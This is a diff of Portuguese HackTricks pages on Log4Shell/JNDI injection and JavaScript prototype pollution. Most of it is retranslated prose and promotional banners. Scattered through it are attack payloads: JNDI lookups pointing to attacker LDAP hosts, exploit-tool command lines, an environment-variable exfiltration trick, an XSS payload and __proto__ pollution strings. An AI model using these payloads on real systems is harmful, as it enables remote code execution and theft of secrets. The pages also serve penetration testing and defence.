* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
Encontre as vulnerabilidades mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -30,7 +30,7 @@ O JNDI, integrado ao Java desde o final dos anos 1990, atua como um serviço de
Objetos Java podem ser armazenados e recuperados usando Referências de Nomes JNDI, que se apresentam em duas formas:
- **Endereços de Referência**: Especifica a localização de um objeto (por exemplo, _rmi://servidor/ref_), permitindo a recuperação direta do endereço especificado.
- **Fábrica Remota**: Referencia uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada a partir da localização remota.
- **Fábrica Remota**: Referencia uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada a partir do local remoto.
No entanto, esse mecanismo pode ser explorado, potencialmente levando ao carregamento e execução de código arbitrário. Como contramedida:
@ -52,11 +52,11 @@ Apesar das proteções, vulnerabilidades permanecem, principalmente devido à fa
![](<../../.gitbook/assets/image (655) (1) (1).png>)
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma busca e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante irá abusar para carregar objetos arbitrários de um sistema controlado por ele.
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma busca e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante explorará para carregar objetos arbitrários de um sistema controlado por ele.
### Visão Geral do CORBA
O CORBA (Common Object Request Broker Architecture) emprega uma **Referência de Objeto Interoperável (IOR)** para identificar remotamente objetos únicos. Esta referência inclui informações essenciais como:
O CORBA (Common Object Request Broker Architecture) emprega uma **Referência de Objeto Interoperável (IOR)** para identificar exclusivamente objetos remotos. Esta referência inclui informações essenciais como:
- **ID de Tipo**: Identificador único para uma interface.
- **Codebase**: URL para obter a classe stub.
@ -72,7 +72,7 @@ No entanto, algumas políticas de fornecedores podem ser tolerantes e permitir e
### Contexto RMI
Para RMI (Invocação de Método Remoto), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, normalmente seria necessário contornar o Gerenciador de Segurança, uma façanha também relevante no CORBA.
Para RMI (Invocação de Método Remoto), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, geralmente seria necessário contornar o Gerenciador de Segurança, uma façanha também relevante no CORBA.
### LDAP
@ -104,11 +104,11 @@ Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias cl
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefixo:nome}` onde `prefixo` é um dos vários [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `nome` deve ser avaliado. Por exemplo, `${java:versão}` é a versão atual em execução do Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de `jndi` Lookup. Esse recurso permite a recuperação de variáveis por meio do JNDI. Tipicamente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a chave em si incluir um **":"**, este prefixo padrão não é aplicado.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de `jndi` Lookup. Esse recurso permite a recuperação de variáveis por meio do JNDI. Tipicamente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a própria chave incluir um **":"**, este prefixo padrão não é aplicado.
Com um **":" presente** na chave, como em `${jndi:ldap://exemplo.com/a}`, não há **prefixo** e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto ao registrar linhas.
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente utilizada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
## Visão Geral das CVEs Relacionadas ao Log4Shell
@ -119,7 +119,7 @@ Essa vulnerabilidade é uma falha crítica de **desserialização não confiáve
Inicialmente classificada como baixa, mas posteriormente atualizada para crítica, esta CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na versão 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que invasores causem ataques de DoS por meio de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de bypass. O problema é resolvido nas versões 2.16.0 e 2.12.2 removendo padrões de busca de mensagens e desabilitando o JNDI por padrão.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Alta]**
Afetando as versões **Log4j 1.x** em configurações não padrão usando `JMSAppender`, esta CVE é uma falha de desserialização não confiável. Não há correção disponível para o ramo 1.x, que está em fim de vida, e é recomendado atualizar para `log4j-core 2.17.0`.
Afetando as **versões Log4j 1.x** em configurações não padrão usando `JMSAppender`, esta CVE é uma falha de desserialização não confiável. Não há correção disponível para o ramo 1.x, que está em fim de vida, e é recomendado atualizar para `log4j-core 2.17.0`.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Moderada]**
Essa vulnerabilidade afeta o **framework de log Logback**, sucessor do Log4j 1.x. Anteriormente considerado seguro, o framework foi encontrado vulnerável, e novas versões (1.3.0-alpha11 e 1.2.9) foram lançadas para abordar o problema.
@ -128,7 +128,7 @@ Essa vulnerabilidade afeta o **framework de log Logback**, sucessor do Log4j 1.x
O Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do `log4j 2.17.0` para corrigir a CVE. Mais detalhes estão no [relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer.
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Afetando a versão 2.17 do log4j, esta CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Afetando a versão 2.17 do log4j, esta CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog da Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Exploração do Log4Shell
@ -146,7 +146,7 @@ Essa vulnerabilidade é muito fácil de descobrir se não estiver protegida, poi
Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que o aplicativo seja explorável** (ou mesmo vulnerável), será necessário tentar explorá-lo.
{% hint style="info" %}
Lembre-se de que para **explorar a versão 2.15** você precisa adicionar o **bypass de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
Lembre-se de que para **explorar a versão 2.15** você precisa adicionar a **burla de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **Descoberta Local**
@ -217,14 +217,14 @@ ${sys:user.name}
Any other env variable name that could store sensitive information
```
### Informações de RCE
### Informações RCE
{% hint style="info" %}
Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar uma base de código remota via LDAP. No entanto, é crucial observar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar um codebase remoto via LDAP. No entanto, é crucial observar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
Para os atacantes que visam explorar essas versões mais recentes do JDK, é necessário aproveitar um **gadget confiável** dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse fim. Por outro lado, explorar versões inferiores do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
Para **mais informações** (_como limitações nos vetores RMI e CORBA_) **verifique a seção anterior de Referência de Nomenclatura JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Para **mais informações** (_como limitações nos vetores RMI e CORBA_) **verifique a seção de Referência de Nomenclatura JNDI anterior** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
### RCE - Marshalsec com payload personalizado
@ -261,7 +261,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
{% hint style="info" %}
Note que por algum motivo o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mas se você deseja respeitar a decisão do autor, utilize um método diferente para explorar essa vulnerabilidade.
Além disso, você não conseguirá encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que você não sabe o que está executando.
Além disso, você não pode encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que você não sabe o que está executando.
{% endhint %}
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
@ -306,7 +306,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do **THM**. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um codebase remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do **THM**. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um código remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
### RCE - ysoserial & JNDI-Exploit-Kit
@ -346,7 +346,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontre bibliotecas vulneráveis localmente
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontre bibliotecas locais vulneráveis
### Laboratórios para Testar
@ -376,18 +376,18 @@ Por exemplo, neste CTF isso foi configurado no arquivo log4j2.xml:
```
### Pesquisas de Ambiente
Neste [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), o atacante controlava o valor de `${sys:cmd}` e precisava exfiltrar a flag de uma variável de ambiente.\
Neste [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), o atacante controlava o valor de `${sys:cmd}` e precisava extrair a flag de uma variável de ambiente.\
Como visto nesta página em [**cargas úteis anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF isso foi inútil, mas pode ser útil em outros cenários da vida real.
### Exfiltração em Exceções
No CTF, você **não conseguia acessar o stderr** da aplicação Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
No CTF, você **não podia acessar o stderr** da aplicação Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que ao disparar uma exceção poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
![](<../../.gitbook/assets/image (157).png>)
### Padrões de Conversão em Exceções
Apenas para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e acionar exceções que serão registradas em `stdout`. Por exemplo:
Apenas para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e disparar exceções que serão registradas em `stdout`. Por exemplo:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
@ -400,7 +400,7 @@ No entanto, é possível usar alguns **padrões de conversão que suportam regex
* **Busca binária via mensagens de exceção**
O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
Abusando desse comportamento, você poderia fazer a substituição **acionar uma exceção se o regex correspondesse** a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrada) assim:
Abusando desse comportamento, você poderia fazer a substituição **disparar uma exceção se o regex correspondesse** a algo dentro da string (e nenhuma exceção se não fosse encontrado) assim:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
@ -461,7 +461,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -45,7 +45,7 @@ employee1.__proto__
```
### Protótipos em JavaScript
O JavaScript permite a modificação, adição ou exclusão de atributos de protótipo em tempo de execução. Essa flexibilidade possibilita a extensão dinâmica das funcionalidades da classe.
O JavaScript permite a modificação, adição ou exclusão de atributos de protótipo em tempo de execução. Essa flexibilidade possibilita a extensão dinâmica das funcionalidades de uma classe.
Funções como `toString` e `valueOf` podem ser alteradas para mudar seu comportamento, demonstrando a natureza adaptável do sistema de protótipos do JavaScript.
@ -88,7 +88,7 @@ console.log(car1.isVehicle); // Outputs true
```
## poluição de protótipo
Para um cenário onde o uso de `__proto__` é restrito, modificar o protótipo de uma função é uma alternativa:
Para um cenário em que o uso de `__proto__` é restrito, modificar o protótipo de uma função é uma alternativa:
```javascript
function Vehicle(model) {
this.model = model;
@ -177,7 +177,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### Exemplo Básico
Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite a sobrescrita de propriedades em `Object.prototype`. Isso significa que, uma vez que a maioria dos objetos deriva suas propriedades de `Object.prototype`
Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite a sobrescrita de propriedades em `Object.prototype`. Isso significa que, como a maioria dos objetos deriva suas propriedades de `Object.prototype`
O exemplo mais simples é adicionar um valor a um **atributo indefinido de um objeto** que será verificado, como:
```javascript
@ -222,14 +222,14 @@ No jQuery, a função `$ .extend` pode levar à poluição de protótipo se o re
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true
```
Essa vulnerabilidade, identificada como CVE-201911358, ilustra como uma cópia profunda pode modificar inadvertidamente o protótipo, levando a potenciais riscos de segurança, como acesso de administrador não autorizado se propriedades como `isAdmin` forem verificadas sem a devida verificação de existência.
Essa vulnerabilidade, identificada como CVE-201911358, ilustra como uma cópia profunda pode modificar inadvertidamente o protótipo, levando a potenciais riscos de segurança, como acesso administrativo não autorizado se propriedades como `isAdmin` forem verificadas sem a devida verificação de existência.
### CVE-20183721, CVE-201910744: Ataque de poluição de protótipo através do lodash
[Para mais detalhes, confira este artigo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) encontrou vulnerabilidades semelhantes de poluição de protótipo (CVE-20183721, CVE-201910744). Esses problemas foram resolvidos na versão 4.17.11.
O [Lodash](https://www.npmjs.com/package/lodash) encontrou vulnerabilidades semelhantes de poluição de protótipo (CVE-20183721, CVE-201910744). Esses problemas foram resolvidos na versão 4.17.11.
### Outro tutorial com CVEs
@ -276,7 +276,7 @@ console.log(eval('(' + template + ')')['main'].toString());
```
Este código demonstra como um atacante poderia injetar código arbitrário em um modelo Handlebars.
**Referência Externa**: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: [Problema no GitHub](https://github.com/hughsk/flat/issues/105).
**Referência Externa**: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
**Referência Externa**: [Problema relacionado à poluição de protótipos na biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
@ -308,7 +308,7 @@ requests.get(TARGET_URL)
```
#### Vulnerabilidade do Pug
O Pug, mais um mecanismo de modelo, enfrenta um risco semelhante de poluição de protótipos. Informações detalhadas estão disponíveis na discussão sobre [Injeção de AST no Pug](https://blog.p6.is/AST-Injection/#Pug).
O Pug, outra engine de template, enfrenta um risco semelhante de poluição de protótipos. Informações detalhadas estão disponíveis na discussão sobre [Injeção de AST no Pug](https://blog.p6.is/AST-Injection/#Pug).
Exemplo de poluição de protótipos no Pug:
```python
@ -335,7 +335,7 @@ Para reduzir o risco de poluição de protótipos, as estratégias listadas abai
2. **Validação de Entrada**: As entradas JSON devem ser rigorosamente validadas em relação ao esquema da aplicação.
3. **Funções de Mesclagem Seguras**: O uso inseguro de funções de mesclagem recursiva deve ser evitado.
4. **Objetos sem Protótipo**: Objetos sem propriedades de protótipo podem ser criados usando `Object.create(null)`.
5. **Uso de Mapa**: Em vez de `Object`, `Map` deve ser usado para armazenar pares chave-valor.
5. **Uso de Mapa**: Em vez de `Object`, deve-se usar `Map` para armazenar pares chave-valor.
6. **Atualizações de Biblioteca**: Patches de segurança podem ser incorporados atualizando regularmente as bibliotecas.
7. **Ferramentas de Análise Estática e Linter**: Use ferramentas como ESLint com plugins apropriados para detectar e prevenir vulnerabilidades de poluição de protótipos.
8. **Revisões de Código**: Implemente revisões de código minuciosas para identificar e remediar riscos potenciais relacionados à poluição de protótipos.
@ -356,10 +356,10 @@ Para reduzir o risco de poluição de protótipos, as estratégias listadas abai
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -30,9 +30,11 @@ console.trace();
return 'test';
}})
```
{% endcode %}
### Encontrando a causa raiz da Poluição de Protótipos <a href="#5530" id="5530"></a>
Uma vez que uma vulnerabilidade de poluição de protótipos tenha sido identificada por qualquer uma das ferramentas, e se o código não for muito complexo, você pode encontrar a vulnerabilidade pesquisando por palavras-chave como `location.hash`, `decodeURIComponent`, ou `location.search` nas Ferramentas de Desenvolvedor do Chrome. Este método permite que você identifique a seção vulnerável do código JavaScript.
Uma vez que uma vulnerabilidade de poluição de protótipos tenha sido identificada por qualquer uma das ferramentas, e se o código não for muito complexo, você pode encontrar a vulnerabilidade pesquisando por palavras-chave como `location.hash`, `decodeURIComponent` ou `location.search` nas Ferramentas de Desenvolvedor do Chrome. Esta abordagem permite identificar a seção vulnerável do código JavaScript.
Para bases de código maiores e mais complexas, um método direto para descobrir o código vulnerável envolve os seguintes passos:
@ -62,7 +64,7 @@ debugAccess(Object.prototype, 'ppmap')
```
4. Navegue de volta para a aba **Sources** e selecione "Resume script execution". O JavaScript continuará executando, e a propriedade 'ppmap' será poluída conforme o esperado. Utilizando o trecho fornecido facilita a identificação do local exato onde a propriedade 'ppmap' está sendo poluída. Ao examinar a **Call Stack**, diferentes pilhas onde a poluição ocorreu podem ser observadas.
